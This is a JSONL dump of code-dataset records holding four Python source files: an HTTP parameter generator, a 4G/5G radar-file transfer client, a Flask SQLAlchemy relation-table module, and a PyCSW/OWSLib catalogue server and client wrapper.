== 'array':\n for value in attribute['value']:\n self.generate_params(parameters_structure=value,\n parameters_usage_list=parameters_usage_list)\n continue\n type_category = self.get_type_category(key)\n if 'range' in attribute and attribute['range']:\n generated_value = random.choice(attribute['range'])\n else:\n generated_value = self.get_parameter_random_value(type_name, type_category)\n\n if next(parameters_usage_list) or ('range' in attribute and attribute['range']):\n parameters_structure[key]['value'] = generated_value\n else:\n parameters_structure[key]['value'] = None\n return parameters_structure\n\n def get_params_num(self, parameters_structure=None, num=0):\n if parameters_structure is None:\n parameters_structure = copy.deepcopy(self.parameters_structure)\n for key, attribute in parameters_structure.items():\n type_name = attribute['type']\n if type_name.lower() == 'object':\n num += self.get_params_num(attribute['value'])\n continue\n if type_name.lower() == 'array':\n for value in attribute['value']:\n num += self.get_params_num(value)\n continue\n else:\n num += 1\n return num\n\n # 比较两个字典部分是否相等\n @staticmethod\n def remove_duplicated_dict_in_list(dic_list):\n for dic in dic_list:\n pass\n\n @staticmethod\n def yield_list(input_list):\n for i in input_list:\n yield i\n\n @staticmethod\n def get_pairwise_list(params_num):\n parameters = []\n for i in range(params_num):\n parameters.append([True, False])\n return parameters\n\n # 返回仅提取输入字典值中的value的值作为当前键的值的字典\n @staticmethod\n def get_value_dic(dic):\n new_dic = dict()\n for key, attribute in dic.items():\n if attribute['type'].lower() == 'object':\n new_dic[key] = http_params_generator.get_value_dic(attribute['value'])\n continue\n if attribute['type'].lower() == 'array':\n new_dic[key] = []\n for value in attribute['value']:\n new_dic[key].append(http_params_generator.get_value_dic(value))\n continue\n new_dic[key] = attribute['value']\n return new_dic\n\n # 根据键名生成数据类别\n @staticmethod\n def get_type_category(key):\n if key == 'phone':\n return 'chinese_mobile_phone'\n if key == 'name':\n return 'chinese_name'\n else:\n return 'default'\n\n # 根据数据类型以及数据类型的类别生成随机数据\n @staticmethod\n def get_parameter_random_value(type_name, type_category='default'):\n if type_name.lower() == 'boolean':\n return randoms.get_random_boolean()\n if type_name.lower() == 'number':\n return randoms.get_random_num(num_type=type_category)\n if type_name.lower() == 'string':\n return randoms.get_random_str(str_type=type_category)\n if type_name.lower() == 'date':\n return randoms.get_random_num(length=9)\n else:\n return None\n\n\nif __name__ == '__main__':\n import doctest\n doctest.testmod()\n","repo_name":"amazingTest/testcase-automaker","sub_path":"testcase_automaker/interface/http_params_generator.py","file_name":"http_params_generator.py","file_ext":"py","file_size_in_byte":7920,"program_lang":"python","lang":"en","doc_type":"code","stars":23,"dataset":"github-code","pt":"68"}
+{"seq_id":"2323769092","text":"import socket\nimport transfer_tools as tls\nimport time\nfrom datetime import datetime\nimport cv2\nimport os\nfrom tcp_latency import measure_latency\n\n# Read the config file first\nsource_config = \"/home/stanch/configs/source_config.txt\"\nhotspot_config = \"/home/stanch/configs/orbic_config.txt\"\nlog_file = \"/home/stanch/DataTransferMaster/suspects.log\"\n\ndef latency_check(loc_config: str) -> list:\n Host, Port, _, _ = tls.configReader(loc_config)\n latency_list = measure_latency(Host,Port)\n return latency_list\n\n\ndef clientHandler(mode: str):\n Host, Port, _, search_path = tls.configReader(source_config)\n print(\"Waiting for Connection to Host\")\n\n with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:\n\n s.connect((Host, Port))\n print(\"Connected to \", Host)\n\n # Prompt the user for the name of the survery and send it off\n #print(\"Sending Directory...\")\n #directory = \"DIR \" + input(\"Enter Survey Directory: \")\n #tls.gen_send(s,directory)\n #ACK_response = tls.gen_recv(s)\n\n # Or If were in testing mode use this for directory\n date_and_time = datetime.now().strftime(\"%m-%d_%H-%M\")\n directory = \"Perks_\" + date_and_time\n print(directory)\n tls.gen_send(s,\"DIR \"+directory)\n ACK_response = tls.gen_recv(s)\n\n # Currently the client is always running looking for new files\n # to be added to the survey, When a real survey is complete the\n # client must be manually stopped. \n\n while True:\n \n try:\n # Send the list of files on the source machine, need to recive the list of files on the server\n # In practice this should be todays_stack but since the \n # data set were working with is not \"live\" so to speak\n # We want the full stack\n\n print(\"Sending Source Stack...\")\n source_stack = tls.full_stack(search_path,\"DZT\")\n tls.gen_send(s,source_stack)\n request_stack = tls.gen_recv(s)\n\n if request_stack != []:\n print(\"Sending Files...\")\n # Create the associated report file\n with open(\"/home/stanch/public/reports/\"+directory+\"_Report.txt\", 'a+') as f:\n line = \"File,Mode,Size (Kb),T_p (nS),T_s (nS),T_t (ns),Rate (Mbit/s) \\n\"\n f.write(line)\n\n while request_stack != []:\n next_file = request_stack.pop()\n print(\"Sending \",next_file)\n next_dzt = tls.DZT_DAT(next_file)\n start_send_timer = time.monotonic_ns()\n tls.gen_send(s,next_dzt)\n ACK_response = tls.gen_recv(s)\n end_send_timer = time.monotonic_ns()\n b_scan = tls.gen_recv(s)\n end_total_timer = time.monotonic_ns()\n tls.gen_send(s, \"ACK\")\n \n # Get/Calucalte Metrics and write them to the report file\n name = next_file.split('.')[0] # File Name\n size = (len(next_dzt.dzt_contents)+len(next_dzt.realsense_contents))/1000 # File sizes in Kilobytes\n processing_time = tls.gen_recv(s) # Time to process in Ns\n sending_time = end_send_timer - start_send_timer # Time to send in Ns\n total_time = end_total_timer - start_send_timer # Total delay time in Ns\n sending_rate = (size*8)/(sending_time*(10**-9)*(10**3)) # Rate in Megabits/s\n with open(\"/home/stanch/public/reports/\"+directory+\"_Report.txt\", 'a+') as f:\n line = name + \",\" + mode + \",\" + str(size) + \",\" + str(processing_time) + \",\" + str(sending_time) + \",\" +str(total_time) + \",\" + str(sending_rate) + \"\\n\"\n f.write(line)\n\n\n print(\"/home/stanch/public/b_scans/\"+next_file.split('.')[0]+\".png\")\n cv2.imwrite(\"/home/stanch/public/b_scans/\"+next_file.split('.')[0]+\".png\", b_scan)\n\n print(\"Stack Empty\")\n \n # switch the commented lines in this block during real\n # opperation vs experimental setups\n else:\n # print(\"No requests, waiting for more files....\")\n # time.sleep(delay)\n break\n \n except KeyboardInterrupt:\n break\n \n # Close the socket\n print(\"Closing Connection...\")\n tls.gen_send(s,\"COM exit\")\n ACK_response = tls.gen_recv(s)\n\n return\n\ndef main():\n\n # check the current mode and run in that mode\n set_mode = \"4G\"\n print(\"Setting mode to\",set_mode)\n tls.set_mode(hotspot_config,set_mode)\n\n print(\"Checking network mode...\")\n mode = tls.check_mode(hotspot_config)\n if set_mode != mode:\n print(\"WARNING Current mode:\",mode,\"does not match the set mode\",set_mode)\n clientHandler(set_mode)\n\n # check the mode again at the end of the event, if the mode has changed flag the run as suspect\n post_mode = tls.check_mode(hotspot_config)\n if set_mode != post_mode:\n print(\"Mode does not match pre-execution value\")\n date_and_time = datetime.now().strftime(\"%m-%d_%H-%M\")\n with open(log_file, \"w+\") as f:\n f.writelines(\"run at\" + date_and_time + \"suspect, mode switched during execution\")\n \n while True:\n try:\n \n # Switch modes\n if set_mode == \"5G\":\n print(\"Switching to 4G\")\n tls.set_mode(hotspot_config,\"4G\")\n set_mode = \"4G\"\n elif set_mode == \"4G\":\n print(\"Switching to 5G\") \n tls.set_mode(hotspot_config,\"5G\")\n set_mode = \"5G\"\n else:\n raise Exception('Unknown Mode',set_mode)\n \n # Find the correct time to the next event at the quarter hour\n # create a time object\n now = datetime.now()\n # find the number of seconds to the next quarter hour\n sec_to_wait = (15 - (now.minute % 15))*60\n print(\"Waiting for next event....(\" + str(sec_to_wait/60)+ \" minutes)\")\n time.sleep(sec_to_wait)\n\n # Call the actual handler\n print(\"checking current mode...\")\n pre_mode = tls.check_mode(hotspot_config)\n if set_mode != pre_mode:\n print(\"WARNING Current mode:\",mode,\"does not match the set mode\",set_mode)\n clientHandler(set_mode)\n print(\"confirming constant mode...\")\n post_mode = tls.check_mode(hotspot_config)\n if pre_mode != post_mode or pre_mode != set_mode:\n date_and_time = datetime.now().strftime(\"%m-%d_%H-%M\")\n with open(log_file, \"w+\") as f:\n f.writelines(\"run at \",date_and_time,\" suspect, mode switched during execution\")\n\n except KeyboardInterrupt:\n break\n\n return\n\n\nif __name__ == \"__main__\":\n main()","repo_name":"scotttanch/DataTransferMaster","sub_path":"Source.py","file_name":"Source.py","file_ext":"py","file_size_in_byte":7441,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
+{"seq_id":"72782482455","text":"from flask_app import db\nfrom flask_app import session_maker\nfrom flask_app import flask_app\nfrom sqlalchemy import Table, inspect\nfrom sqlalchemy.dialects.mysql import insert\n\norigin_point_system_config = Table(\n 'origin_point_system_config',\n db.Model.metadata,\n db.Column('origin_point', db.String(30), db.ForeignKey('origin_point_desc.tag_name', ondelete='CASCADE'), primary_key=True),\n db.Column('system_config', db.Integer, db.ForeignKey('system_config.cid', ondelete='CASCADE'), primary_key=True)\n)\n\n\ndef clear_origin_point_system_table(unit):\n db.reflect(app=flask_app)\n db.get_engine().execute(\"SET foreign_key_checks = 0\")\n db.get_engine().execute(f\"DELETE FROM {'origin_point_system_config'} WHERE origin_point in (select tag_name FROM origin_point_desc WHERE unit={unit});\")\n db.get_engine().execute(\"SET foreign_key_checks = 1\")\n return 'ok'\n\n\n# 通过业务逻辑来限制origin point desc和point desc的联系,SQL上不做限制!!\n\ndef add_all(map_list):\n with session_maker() as db_session:\n db_session.add_all(map_list)\n db_session.commit()\n return \"ok\"\n\n\ndef add(relation_map):\n with session_maker() as db_session:\n db_session.add(relation_map)\n db_session.commit()\n return \"ok\"\n\n\ndef upsert_all(entity: type, records: list):\n \"\"\"\n 一次性将对应实体entity的多组数据进行upsert操作\n\n Args:\n entity (type): 表对应的实体类名\n records (list): 需要upsert的数据组成的列表\n\n Returns:\n bool: 返回是否upsert成功\n \"\"\"\n # 获取所有主键属性名称列表\n primary_keys = [col.name for col in inspect(entity).primary_key]\n # 获取全部字段名称列表\n total_fields = inspect(entity).c.keys()\n # 需要更新的字段名称列表\n update_keys = [key for key in total_fields if key not in primary_keys]\n \n insert_stmt = insert(entity).values(records)\n \n # 主键已存在时需要更新的列,其实就是除主键以外的全部列\n update_columns = {x.name: x for x in insert_stmt.inserted if x.name in update_keys}\n # 当遇上关系表这样的多对多并且全部字段组成复合主键时,不存在则插入,存在则更新全部字段\n if not len(update_columns):\n update_columns = {x.name: x for x in insert_stmt.inserted if x.name in total_fields}\n \n upsert_stmt = insert_stmt.on_duplicate_key_update(**update_columns)\n \n db.session.execute(upsert_stmt)\n db.session.commit()\n","repo_name":"G-AILab/PMS","sub_path":"flask_app/models/relation_map.py","file_name":"relation_map.py","file_ext":"py","file_size_in_byte":2524,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
+{"seq_id":"26909422085","text":"from copy import deepcopy\nfrom enum import Enum\nfrom typing import List, Optional\n\n# noinspection PyPackageRequirements\n# Exempting Bandit security issue (Using Element to parse untrusted XML data is known to be vulnerable to XML attacks)\n#\n# We don't currently allow untrusted/user-provided XML so this is not a risk\nfrom lxml.etree import ElementTree, fromstring, XMLSyntaxError # nosec\nfrom flask import Request, Response\nfrom owslib.ows import ExceptionReport\nfrom owslib.util import ServiceException\nfrom pycsw.core import admin\nfrom owslib.csw import namespaces as csw_namespaces\nfrom requests import HTTPError\nfrom sqlalchemy import create_engine\nfrom sqlalchemy.exc import ProgrammingError\nfrom flask_azure_oauth import AzureToken\n\nfrom scar_add_metadata_toolbox.hazmat.csw import (\n CSWClient as _CSWClient,\n CSWServer as _CSWServer,\n convert_csw_brief_gmd_to_gmi_xml,\n CSWAuth,\n)\n\n\nclass CSWGetRecordMode(Enum):\n \"\"\"\n Represents the element set names used in the CSW specification\n \"\"\"\n\n FULL = \"full\"\n SUMMARY = \"summary\"\n BRIEF = \"brief\"\n\n\nclass CSWTransactionType(Enum):\n \"\"\"\n Represents the transaction types used in the CSW specification\n \"\"\"\n\n INSERT = \"insert\"\n UPDATE = \"update\"\n DELETE = \"delete\"\n\n\nclass CSWDatabaseAlreadyInitialisedException(Exception):\n \"\"\"\n Represents a situation whereby a CSW Server's backing database has already been initialised\n\n Backing databases must only be initialised once to avoid errors creating duplicate structures or unwanted side\n effects such as table truncation. If a database is initialised multiple times this role would be violated.\n \"\"\"\n\n pass\n\n\nclass CSWDatabaseNotInitialisedException(Exception):\n \"\"\"\n Represents a situation where the backing database for a CSW Server has not yet been initialised\n\n Backing databases must be initialised to ensure relevant database structures, indexes and triggers exist and are\n configured before records are written or read from a catalogue. If requests are made to a CSW server before has\n happened this rule would be violated. The relevant initialisation method can be ran to resolve this.\n \"\"\"\n\n pass\n\n\nclass CSWMethodNotSupportedException(Exception):\n \"\"\"\n Represents a situation where an unsupported HTTP method is used in a request to a CSW Server\n\n CSW requests must use the HEAD, GET or POST HTTP method. If another method is used this rule would be violated.\n \"\"\"\n\n pass\n\n\nclass CSWAuthException(Exception):\n \"\"\"\n Represents a situation where there the authentication information included in a CSW request causes an error\n\n This is a non-specific error and could indicate a range of situations, such as a token having expired or being\n malformed.\n \"\"\"\n\n pass\n\n\nclass CSWAuthMissingException(Exception):\n \"\"\"\n Represents a situation where authentication information is required for a CSW request but was not included\n\n Requests to authenticated CSW requests must include authentication information. If this is missing this rule would\n be violated.\n \"\"\"\n\n pass\n\n\nclass CSWAuthInsufficientException(Exception):\n \"\"\"\n Indicates a situation where the authorisation requirements for a CSW request are not satisfied by the information\n included in the request\n\n Requests to authorised CSW requests must include authorisation information that satisfies all the requirements of\n the resource or action being requested. If any of these requirements are not met this rule would be violated.\n\n Typically this error relates to missing scopes/roles that are required by the resource or action being requested.\n E.g. to publish a record the Publish scope/role is required.\n \"\"\"\n\n pass\n\n\nclass RecordServerException(Exception):\n \"\"\"\n Represents a situation where a record server encounters an error processing a request\n\n This is a non-specific error and could indicate a range of situations, such as a record being malformed or an\n internal error within record server.\n \"\"\"\n\n pass\n\n\nclass RecordNotFoundException(Exception):\n \"\"\"\n Represents a situation where a given record does not exist\n \"\"\"\n\n pass\n\n\nclass RecordInsertConflictException(Exception):\n \"\"\"\n Represents a situation where a record to be inserted already exists in a repository\n\n Records in repositories must be unique. If a record is inserted with the same identifier as an existing record,\n neither record not be unique and this rule would be violated. Records may be updated instead.\n \"\"\"\n\n pass\n\n\nclass CSWServer: # pragma: no cover (until #59 is resolved)\n \"\"\"\n Represents a CSW Server backed by PyCSW\n\n This class is largely a wrapper around the PyCSW class in order to improve integrating CSW functionality within\n a larger application, and to add additional functionality including:\n\n * raising exceptions for errors\n * support for token based authentication\n * support for performing/reporting backing database initialisation\n * simplifying PyCSW configuration options using a base configuration\n\n Note: This class uses classes from the Hazardous Materials module. This is to work around limitations in the PyCSW\n package. This will be addressed by upstreaming missing functionality or creating a derivative package.\n \"\"\"\n\n base_configuration = {\n \"server\": {\n \"url\": None,\n \"mimetype\": \"application/xml; charset=UTF-8\",\n \"encoding\": \"UTF-8\",\n \"language\": \"en-GB\",\n \"maxrecords\": \"100\",\n \"loglevel\": \"DEBUG\",\n \"logfile\": \"/dev/null\",\n \"pretty_print\": \"true\",\n \"gzip_compresslevel\": \"8\",\n \"domainquerytype\": \"list\",\n \"domaincounts\": \"false\",\n \"profiles\": \"apiso\",\n },\n \"manager\": {\n \"transactions\": \"true\",\n \"allowed_ips\": \"*.*.*.*\",\n },\n \"metadata:main\": {\n \"identification_title\": \"Internal CSW (Published)\",\n \"identification_abstract\": \"Internal PyCSW OGC CSW server for published records\",\n \"identification_keywords\": \"catalogue, discovery, metadata\",\n \"identification_keywords_type\": \"theme\",\n \"identification_fees\": \"None\",\n \"identification_accessconstraints\": \"None\",\n \"provider_name\": \"British Antarctic Survey\",\n \"provider_url\": \"https://www.bas.ac.uk/\",\n \"contact_name\": \"Mapping and Geographic Information Centre, British Antarctic Survey\",\n \"contact_position\": \"Technical Contact\",\n \"contact_address\": \"British Antarctic Survey, Madingley Road, High Cross\",\n \"contact_city\": \"Cambridge\",\n \"contact_stateorprovince\": \"Cambridgeshire\",\n \"contact_postalcode\": \"CB30ET\",\n \"contact_country\": \"United Kingdom\",\n \"contact_phone\": \"+44(0) 1223 221400\",\n \"contact_email\": \"magic@bas.ac.uk\",\n \"contact_url\": \"https://www.bas.ac.uk/team/magic\",\n \"contact_hours\": \"09:00 - 17:00\",\n \"contact_instructions\": \"During hours of service on weekdays. Best efforts support only.\",\n \"contact_role\": \"pointOfContact\",\n },\n \"repository\": {\"database\": None, \"table\": None},\n \"metadata:inspire\": {\n \"enabled\": \"true\",\n \"languages_supported\": \"eng\",\n \"default_language\": \"eng\",\n \"date\": \"YYYY-MM-DD\",\n \"gemet_keywords\": \"Utility and governmental services\",\n \"conformity_service\": \"notEvaluated\",\n \"contact_name\": \"Mapping and Geographic Information Centre, British Antarctic Survey\",\n \"contact_email\": \"magic@bas.ac.uk\",\n \"temp_extent\": \"YYYY-MM-DD/YYYY-MM-DD\",\n },\n }\n\n def __init__(self, config: dict):\n \"\"\"\n Configuration dict must include:\n\n * endpoint: URL clients will use for access (str)\n * title: catalogue title (str)\n * abstract: catalogue description (str)\n * database_connection_string: PyCSW (SQL Alchemy) connection string (must use PostgreSQL)\n * database_table_table: name of table for storing records (str)\n * auth_required_scopes_read: OAuth scopes required to make record(s) requests (may be empty list)\n * auth_required_scopes_write: OAuth scopes required to make transactional requests (may be empty list)\n\n Other PyCSW configuration options may not be changed.\n\n :type config dict\n :param config: PyCSW config subset\n \"\"\"\n _csw_options = deepcopy(self.base_configuration)\n if \"endpoint\" in config.keys():\n _csw_options[\"server\"][\"url\"] = config[\"endpoint\"]\n if \"title\" in config.keys():\n _csw_options[\"metadata:main\"][\"identification_title\"] = config[\"title\"]\n if \"abstract\" in config.keys():\n _csw_options[\"metadata:main\"][\"identification_abstract\"] = config[\"abstract\"]\n if \"database_connection_string\" in config.keys():\n _csw_options[\"repository\"][\"database\"] = config[\"database_connection_string\"]\n if \"database_table\" in config.keys():\n _csw_options[\"repository\"][\"table\"] = config[\"database_table\"]\n\n self._csw_config = _csw_options\n self._csw_auth = {\"read\": config[\"auth_required_scopes_read\"], \"write\": config[\"auth_required_scopes_write\"]}\n\n @property\n def _is_initialised(self) -> bool:\n \"\"\"\n Tests whether the backing database has been initialised for catalogue\n\n Checks whether records table used for the catalogue exists, if yes it is assumed to have been initialised.\n\n :rtype bool\n :return: whether the backing database has been initialised\n \"\"\"\n csw_database = create_engine(self._csw_config[\"repository\"][\"database\"])\n return csw_database.dialect.has_table(csw_database, self._csw_config[\"repository\"][\"table\"])\n\n def _check_auth(self, method: str, token: Optional[AzureToken]) -> None:\n \"\"\"\n Checks whether an authorisation token contains all of a required set of scopes\n\n I.e. is the client allowed to perform the action they're trying to do.\n\n Currently actions are simplified to 'read' or 'write' and the required set of scopes is specified by the\n 'auth_required_scopes_read' or 'auth_required_scopes_write' class config options.\n\n If the token does not include the required scopes an exception is raised, otherwise nothing is returned.\n\n :type method str\n :param method: either 'read' or 'write'\n :type token AzureToken\n :param token: request authorisation token\n \"\"\"\n try:\n if len(self._csw_auth[method]) > 0 and not token.scopes.issuperset(set(self._csw_auth[method])):\n raise CSWAuthInsufficientException()\n except AttributeError:\n # noinspection PyComparisonWithNone\n if token == None:\n raise CSWAuthMissingException()\n\n def setup(self) -> None:\n \"\"\"\n Initialises the backing database for the catalogue\n\n Convenience method to call the PyCSW admin task for setting up the required database components (tables,\n indexes, triggers, etc.)\n\n Note: There are currently limitations with using multiple catalogues within one schema. The specific errors\n this causes (which are not fatal) are detected by this method and treated as a false positive. See the project\n README for more information.\n \"\"\"\n if self._is_initialised:\n raise CSWDatabaseAlreadyInitialisedException()\n\n csw_database = create_engine(self._csw_config[\"repository\"][\"database\"])\n csw_database.execute(\"SELECT version();\")\n\n try:\n admin.setup_db(\n database=self._csw_config[\"repository\"][\"database\"],\n table=self._csw_config[\"repository\"][\"table\"],\n home=None,\n )\n except ProgrammingError as e:\n # Ignore errors related to PyCSW's limitations with non-namespaced indexes\n if 'ERROR: relation \"fts_gin_idx\" already exists' not in e.orig.pgerror:\n raise CSWDatabaseAlreadyInitialisedException()\n pass\n\n def process_request(self, request: Request, token: Optional[AzureToken] = None) -> Response:\n \"\"\"\n Process a CSW request and return a suitable response\n\n Represents embedding CSW by processing an incoming Flask/HTTP request into a CSW request and returning the CSW\n response as a Flask/HTTP response.\n\n In addition this method:\n\n * implements authorisation checks for reading records and using the transactional profile\n * supports HEAD requests by treating them as GET requests and discarding the response body\n\n :type request Request\n :param request: Flask HTTP request\n :type token AzureToken\n :param token: request authorisation token\n :rtype Response\n :return: Flask HTTP response\n \"\"\"\n if not self._is_initialised:\n raise CSWDatabaseNotInitialisedException()\n\n if request.method != \"HEAD\" and request.method != \"GET\" and request.method != \"POST\":\n raise CSWMethodNotSupportedException()\n\n _csw = _CSWServer(rtconfig=self._csw_config, env=request.environ, version=\"2.0.2\")\n _csw.requesttype = \"GET\"\n _csw.kvp = request.args.to_dict()\n _request_type = \"inspect\"\n\n if request.method == \"POST\":\n _request_type = \"read\"\n _csw.requesttype = \"POST\"\n _csw.request = request.data\n\n request_xml = ElementTree(fromstring(_csw.request))\n if len(request_xml.xpath(\"/csw:Transaction/csw:Insert\", namespaces=csw_namespaces)) > 0:\n _request_type = \"create\"\n elif len(request_xml.xpath(\"/csw:Transaction/csw:Update\", namespaces=csw_namespaces)) > 0:\n _request_type = \"update\"\n elif len(request_xml.xpath(\"/csw:Transaction/csw:Delete\", namespaces=csw_namespaces)) > 0:\n _request_type = \"delete\"\n\n if _request_type == \"read\":\n self._check_auth(method=\"read\", token=token)\n elif _request_type == \"create\" or _request_type == \"update\" or _request_type == \"delete\":\n self._check_auth(method=\"write\", token=token)\n\n status_code, response = _csw.dispatch()\n\n if request.method == \"HEAD\":\n return Response(status=status_code)\n\n return Response(response=response, status=status_code, content_type=_csw.contenttype)\n\n\nclass CSWClient: # pragma: no cover (until #59 is resolved)\n \"\"\"\n Represents a CSW Client backed by OWSLib\n\n This class is largely a wrapper around the OWSLib CSW class in order to abstract away CSW or OWSLib specific\n details (such as needing to known to use the `getRecords2` method for example).\n\n Other features include:\n * raising exceptions for errors\n * support for token based authentication\n * workaround to fix transactional update results count error\n * compatibility with this applications CSWServer class for error handling\n * compatibility with this applications Repository class for setting CSW configuration options\n\n Note: This class uses classes from the Hazardous Materials module. This is to work around limitations in the OWSLib\n package. This will be addressed by upstreaming missing functionality or creating a derivative package.\n \"\"\"\n\n def __init__(self, config: dict):\n \"\"\"\n Configuration dict must include:\n\n * endpoint: URL to CSW service (str)\n * auth: parameters for CSW authentication object (may be empty dict)\n\n Other OWSLib configuration options may also be included.\n\n :type config: dict\n :param config: CSW (OWSLib) configuration options\n \"\"\"\n self._csw_config = config\n self._csw_endpoint = config[\"endpoint\"]\n self._csw_auth = CSWAuth(**config[\"auth\"])\n del self._csw_config[\"endpoint\"]\n del self._csw_config[\"auth\"]\n\n def __repr__(self):\n return f\"\"\n\n def _get_client(self) -> _CSWClient:\n \"\"\"\n Creates a OWSLib CSW client instance\n\n A separate CSW instance is used for each action (read/transaction), rather using a class instance singleton, as\n OWSLib will attempt to retrieve the CSW GetCapabilities response on instantiation. This behaviour can result in\n errors where CSW endpoints may not yet exist for example.\n\n Due to the behaviour of OWSLib, auth errors emanating from the Flask Azure OAuth provider (used to secure CSW\n server instances) trigger a ServiceException before the relevant action is taken, and so must be caught here.\n\n Note: This method currently uses a modified class from the hazardous materials classes.\n\n :rtype CatalogueServiceWeb\n :return: OWSLib CSW client (modified)\n \"\"\"\n try:\n return _CSWClient(self._csw_endpoint, auth=self._csw_auth, **self._csw_config)\n except ServiceException:\n raise CSWAuthException()\n\n def get_record(self, identifier: str, mode: CSWGetRecordMode = CSWGetRecordMode.FULL) -> str:\n \"\"\"\n Return a single record\n\n CSW supports returning full/complete records or summary versions with more specific elements. Formally CSW\n refers to these as Element Set Names, this method refers to this as the (record) mode. Options are described by\n the CSWGetRecordMode enumeration.\n\n Note: If 'brief' records are requested, a fixer method from the hazardous materials classes is used.\n\n :type identifier str\n :param identifier: ISO 19115 file identifier\n :type mode CSWGetRecordMode\n :param mode: CSW record mode (element set name)\n :rtype str\n :return: ISO 19115-2 record encoded as an XML string\n \"\"\"\n _csw = self._get_client()\n try:\n _csw.getrecordbyid(id=[identifier], esn=mode.value, outputschema=\"http://www.isotc211.org/2005/gmd\")\n if len(_csw.records) != 1:\n raise RecordNotFoundException()\n return _csw.records[identifier].xml.decode()\n except HTTPError as e:\n if e.response.content.decode() == \"Catalogue not yet available.\":\n raise CSWDatabaseNotInitialisedException()\n raise HTTPError(e)\n except XMLSyntaxError:\n if _csw.response.decode() == \"Missing authorisation token.\":\n raise CSWAuthMissingException()\n elif _csw.response.decode() == \"Insufficient authorisation token.\":\n raise CSWAuthInsufficientException()\n\n def get_records(self, mode: CSWGetRecordMode = CSWGetRecordMode.FULL) -> List[str]:\n \"\"\"\n Return all records\n\n Currently returns all records in a CSW catalogue, i.e. search/filtering options are not yet supported.\n\n CSW supports returning full/complete records or summary versions with more specific elements. Formally CSW\n refers to these as Element Set Names, this method refers to this as the (record) mode. Options are described by\n the CSWGetRecordMode enumeration.\n\n Note: If 'brief' records are requested, a fixer method from the hazardous materials classes is used.\n\n :type mode CSWGetRecordMode\n :param mode: CSW record mode (element set name)\n :rtype list\n :return: list of ISO 19115-2 records encoded as XML strings\n \"\"\"\n _csw = self._get_client()\n try:\n _csw.getrecords2(\n typenames=\"gmd:MD_Metadata\",\n esn=mode.value,\n resulttype=\"results\",\n outputschema=\"http://www.isotc211.org/2005/gmd\",\n maxrecords=100,\n )\n for raw_record in _csw.records.values():\n if isinstance(raw_record.xml, bytes):\n raw_record.xml = raw_record.xml.decode()\n if mode == CSWGetRecordMode.BRIEF:\n raw_record.xml = convert_csw_brief_gmd_to_gmi_xml(record_xml=raw_record.xml)\n yield raw_record.xml\n except HTTPError as e:\n if e.response.content.decode() == \"Catalogue not yet available.\":\n raise CSWDatabaseNotInitialisedException()\n except XMLSyntaxError:\n if _csw.response.decode() == \"Missing authorisation token.\":\n raise CSWAuthMissingException()\n elif _csw.response.decode() == \"Insufficient authorisation token.\":\n raise CSWAuthInsufficientException()\n\n def insert_record(self, record: str) -> None:\n \"\"\"\n Inserts a new record\n\n Uses the CSW transactional profile to insert a new record into a CSW catalogue.\n\n Note: If a record with the same IS0 19115 file identifier exists it will be considered a duplicate of an\n existing record and result in a conflict error. To update an existing record, including changing it's file\n identifier, use the `update_record()` method.\n\n :type record str\n :param record: ISO 19115-2 record encoded as an XML string\n \"\"\"\n _csw = self._get_client()\n try:\n _csw.transaction(ttype=CSWTransactionType.INSERT.value, typename=\"gmd:MD_Metadata\", record=record)\n if len(_csw.results[\"insertresults\"]) != 1:\n raise RecordServerException()\n except ExceptionReport:\n raise RecordInsertConflictException()\n except HTTPError as e:\n if e.response.content.decode() == \"Catalogue not yet available.\":\n raise CSWDatabaseNotInitialisedException()\n except XMLSyntaxError:\n if _csw.response.decode() == \"Missing authorisation token.\":\n raise CSWAuthMissingException()\n elif _csw.response.decode() == \"Insufficient authorisation token.\":\n raise CSWAuthInsufficientException()\n\n def update_record(self, record: str) -> None:\n \"\"\"\n Updates an existing record\n\n Uses the CSW transactional profile to update an existing record in a CSW catalogue.\n\n This method requires complete/replacement records, partial record updates are not supported.\n\n :type record str\n :param record: ISO 19115-2 record encoded as an XML string\n \"\"\"\n _csw = self._get_client()\n try:\n _csw.transaction(ttype=CSWTransactionType.UPDATE.value, typename=\"gmd:MD_Metadata\", record=record)\n # Workaround for https://github.com/geopython/OWSLib/issues/678\n _csw.results[\"updated\"] = int(\n ElementTree(fromstring(_csw.response)).xpath(\n \"/csw:TransactionResponse/csw:TransactionSummary/csw:totalUpdated/text()\",\n namespaces=csw_namespaces,\n )[0]\n )\n if _csw.results[\"updated\"] != 1:\n raise RecordServerException()\n except HTTPError as e:\n if e.response.content.decode() == \"Catalogue not yet available.\":\n raise CSWDatabaseNotInitialisedException()\n except XMLSyntaxError:\n if _csw.response.decode() == \"Missing authorisation token.\":\n raise CSWAuthMissingException()\n elif _csw.response.decode() == \"Insufficient authorisation token.\":\n raise CSWAuthInsufficientException()\n\n def delete_record(self, identifier: str) -> None:\n \"\"\"\n Deletes an existing record\n\n Uses the CSW transactional profile to delete an existing record from a CSW catalogue.\n\n :type identifier str\n :param identifier: ISO 19115 file identifier\n \"\"\"\n _csw = self._get_client()\n try:\n _csw.transaction(ttype=CSWTransactionType.DELETE.value, identifier=identifier)\n _csw.results[\"deleted\"] = int(\n ElementTree(fromstring(_csw.response)).xpath(\n \"/csw:TransactionResponse/csw:TransactionSummary/csw:totalDeleted/text()\",\n namespaces=csw_namespaces,\n )[0]\n )\n # noinspection PyTypeChecker\n if _csw.results[\"deleted\"] != 1:\n raise RecordServerException()\n except HTTPError as e:\n if e.response.content.decode() == \"Catalogue not yet available.\":\n raise CSWDatabaseNotInitialisedException()\n except XMLSyntaxError:\n if _csw.response.decode() == \"Missing authorisation token.\":\n raise CSWAuthMissingException()\n elif _csw.response.decode() == \"Insufficient authorisation token.\":\n raise CSWAuthInsufficientException()\n","repo_name":"antarctica/scar-add-metadata-toolbox","sub_path":"scar_add_metadata_toolbox/csw.py","file_name":"csw.py","file_ext":"py","file_size_in_byte":24891,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
